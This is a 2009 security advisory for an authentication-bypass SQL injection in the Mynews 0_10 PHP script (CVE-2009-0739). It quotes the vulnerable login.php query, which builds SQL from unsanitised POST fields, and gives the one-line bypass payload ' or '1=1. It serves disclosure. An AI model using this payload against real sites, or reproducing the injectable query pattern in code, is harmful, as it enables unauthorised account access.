Mynews 0_10 (Auth Bypass) SQL Injection Vulnerability

2009.02.28

Credit: x0r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-0739

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#########################################################################################
[0x01] Informations:

Name           : Mynews 0_10
Download       :
http://prdownloads.sourceforge.net/mynews/mynews_beta_0_10.zip?download
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
if ( $request == "POST" )
{
	$username = $_POST['username'];
	$passwd = $_POST['passwd'];
	
	// Call mysql class
	$db = new db;
	$db->info['sql_host']		=	$conf['sql_host'];
	$db->info['sql_user']		=	$conf['sql_user'];
	$db->info['sql_pass']		=	$conf['sql_pass'];
	$db->info['sql_db']		=	$conf['sql_db'];
	$db->connect();
	$sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
	$check_query = $db->query($sql);
	$row = mysql_numrows($check_query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

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Mynews 0_10 (Auth Bypass) SQL Injection Vulnerability

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